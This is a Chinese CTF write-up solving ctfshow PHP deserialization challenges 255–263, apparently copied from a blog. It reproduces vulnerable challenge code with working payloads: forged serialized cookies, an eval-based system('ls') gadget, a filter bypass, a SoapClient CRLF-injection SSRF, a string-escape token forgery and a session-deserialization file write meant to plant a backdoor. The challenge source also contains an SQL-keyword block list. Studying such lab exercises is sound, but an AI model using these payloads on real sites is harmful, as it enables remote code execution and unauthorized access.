ctfshow 反序列化255-263

web

web 255

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
} 

?username=xxxxxx&password=xxxxxx

  • 传入cookie

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;

    
} 

$a = new ctfShowUser;
echo serialize($a);//cookie : user=

?>

web 256

include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}
  • 根据条件传入在这里插入图片描述

class ctfShowUser{
    public $username='abc';
    public $password='aaa';
    public $isVip=true;

    
} 

$a = new ctfShowUser;
echo serialize($a);//user = 

?>

web257

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class;

    public function __construct(){
        $this->class=new backDoor();
    }
}

class backDoor{
    private $code = 'system("ls");';//注入点,不要忘记分号
    public function getInfo(){
        eval($this->code);
    }
}

$a = new ctfShowUser;

echo urlencode(serialize($a));

?>

web258

preg_match('/[oc]:\d+:/i', $_COOKIE['user']
//相对于上题多了过滤,private变为public

o:10不行o:+10可以绕过,注意在所有o后面的数字后都加上+

web259

//flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

//界面
highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

  • 没有类,考察的是php原生类
    学到了这个题利用的是php原生类SoapClient &&CRLF Injection CRLF是”回车 + 换行”(\r\n)的简称在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来

$a = new SoapClient(null, array(
    'user_agent' => "so4ms\r\nx-forwarded-for:127.0.0.1,127.0.0.1\r\nContent-type:application/x-www-form-urlencoded\r\nContent-length:13\r\n\r\ntoken=ctfshow",
    'location' => "http://127.0.0.1/flag.php",
    'uri'      => "so4ms"));
echo urlencode(serialize($a));
这里在反序列化 SoapClient 后,调用 getFlag() 函数,由于该类不存在这个函数,会触发 __call 魔术方法。

我们在 user_agent 中进行CRLF注入,使得可以传入参数token,然后location为本地请求flag.php的url,反序列化后flag就会被读入flag.txt了。

web260



error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

  • 只要传入的参数序列化之后含ctfshow_i_love_36D就行
  • ?ctfshow=ctfshow_i_love_36D

web 261 (打Redis)

Redis和MongoDB是当前使用最广泛的NoSQL,而就Redis技术而言,它的性能十分优越,可以支持每秒十几万此的读/写操作,其性能远超数据库,并且还支持集群、分布式、主从同步等配置,原则上可以无限扩展,让更多的数据存储在内存中,更让人欣慰的是它还支持一定的事务能力,这保证了高并发的场景下数据的安全和一致性。



highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip'])

出现的方法

__wakeup():在反序列化结束后调用
__invoke():当以函数方式调用对象时 $a = new class;$a()//函数形式
__sleep():当对象类被实例时调用  new一个调用
__unserialize():当__serialize和__sleep方法同时存在,序列化时忽略__sleep方法而执行__serialize;当__unserialize方法和__wakeup方法同时存在,反序列化时忽略__wakeup方法而执行__unserialize
__destruct():序列化和反序列化结束后被调用
  • 利用点在 __destruct会经过__unserialize()并且是弱比较0x36d=877
  • .代表连接符


class ctfshowvip{
    public $username ;
    public $password ;
}

$a = new ctfshowvip;

$a->username= '877.php';
$a->password= '';

echo serialize($a);

web262

error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

  • 不知道如何使用,注意头部ctfshow 反序列化255-263_第1张图片
  • 打开message.php
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }

  • 两者结合,构造token=admin.但是没有输入token的点
  • 对于逃逸:文章
反序列化字符逃逸:函数preg_replace()
一、变长逃逸
php反序列化引擎在进行反序列化的时候是以字符长度来进行判断的
因为在序列化时,传入的带fuck,但是由于替换就会变成loveU
在本题中
;s:4:"fuck";s:5:"token";s:4:"user";}//serialize($msg)
;s:4:"loveU";s:5:"token";s:4:"user";}//$umsg
但是反序列化时
反序列化的过程就是碰到;}与最前面的{配对后,便停止反序列化)闭合后忽略后面的token的字符串成功使得token被修改为admin。
就会出现漏洞就会多出一个字符

二、变短逃逸
先计算目标字符串长度
在计算下一个闭合长度 -> 就是减少而逃逸字符长度
  • 我们可以控制三个参数传入,

";s:5:"token";s:5:"admin";}我们想要得到的
";s:5:"token";s:4:"user";}现有的
必须要加入前面的 "闭合后逃逸

  • 首先计算出目标字符串的长度,27,代表我们要逃逸出27个字符,fuck*27";s:5:“token”;s:5:“admin”;}就可以将token由user转化为admin
  • 因此f=a&m=a&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
  • 访问message.php得到flag

web263

  • F12查看源码

		function check(){
			$.ajax({
			url:'check.php',
			type: 'GET',
			data:{
				'u':$('#u').val(),
				'pass':$('#pass').val()
			},
			success:function(data){
				alert(JSON.parse(data).msg);
			},
			error:function(data){
				alert(JSON.parse(data).msg);
			}

		});
		}
  • 一段回显信息,没什么用并且表单中有ctfshow 反序列化255-263_第2张图片
    无论提交什么都是错误.
  • 抓包发现
  • ctfshow 反序列化255-263_第3张图片
  • www.zip拿下源码
//index.php 
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 16:28:37
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-06 19:21:45
# @email: [email protected]
# @link: https://ctfer.com

*/
	error_reporting(0);
	session_start();
	//超过5次禁止登陆
	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}
	
?>

//check.php
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);


if($GET){

	$data= $db->get('admin',
	[	'id',
		'UserName0'
	],[
		"AND"=>[
		"UserName0[=]"=>$GET['u'],
		"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
		]
	]);
	if($data['id']){
		//登陆成功取消次数累计
		$_SESSION['limit']= 0;
		echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
	}else{
		//登陆失败累计次数加1
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
		echo json_encode(array("error","msg"=>"登陆失败"));
	}
} 
  • 再看require_once文件
//inc.php
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW; 
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
    'database_type' => 'mysql',
    'database_name' => 'web',
    'server' => 'localhost',
    'username' => 'root',
    'password' => 'root',
    'charset' => 'utf8',
    'port' => 3306,
    'prefix' => '',
    'option' => [
        PDO::ATTR_CASE => PDO::CASE_NATURAL
    ]
]);

// sql注入检查
function checkForm($str){
    if(!isset($str)){
        return true;
    }else{
    return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
    }
}


class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/

function  uuid()  
{  
    $chars = md5(uniqid(mt_rand(), true));  
    $uuid = substr ( $chars, 0, 8 ) . '-'
            . substr ( $chars, 8, 4 ) . '-' 
            . substr ( $chars, 12, 4 ) . '-'
            . substr ( $chars, 16, 4 ) . '-'
            . substr ( $chars, 20, 12 );  
    return $uuid ;  
}
  • 漏洞分析
    考察session反序列化.文章推荐
打开index.php会开启一个session会话,并且如果有limit会base64解码
又因为inc.php中存在一个file_put_contents可以任意写入的函数。
所以,首先修改我们的session,构造成能写入一个后门函数的形式.
然后访问index.php在结束时会自动的序列化,再访问check.php写入后门.
file_put_contents将后门写入,再次访问我们写的文件log-xxx得到后门

序列化三个处理器
php				键名 + 竖线 + 经过serialize()函数序列化处理的值  --- inc.php用法
php_binary		键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize	经过serialize()函数序列化处理的数组

比如
php				name|s:5:"ocean";
php_binary
php_serialize a:1:{s:4:"name";s:5:"ocean";}

class User{
    public $username = 'shell.php';
    public $password = '';
}
$user = new User();
echo(base64_encode('|'.serialize($user)));
?>
  • 得到的base64写入cookie中limit的值,在index.php会自动生成一段session会话。
  • 访问check.php,如果是使用GET方式访问,由于id不可控就会改变cookie同时base64解码,程序结束,触发__destruct,反序列化写入后门。
  • 访问log-shell.php就行

你可能感兴趣的:(CTF,php,javascript)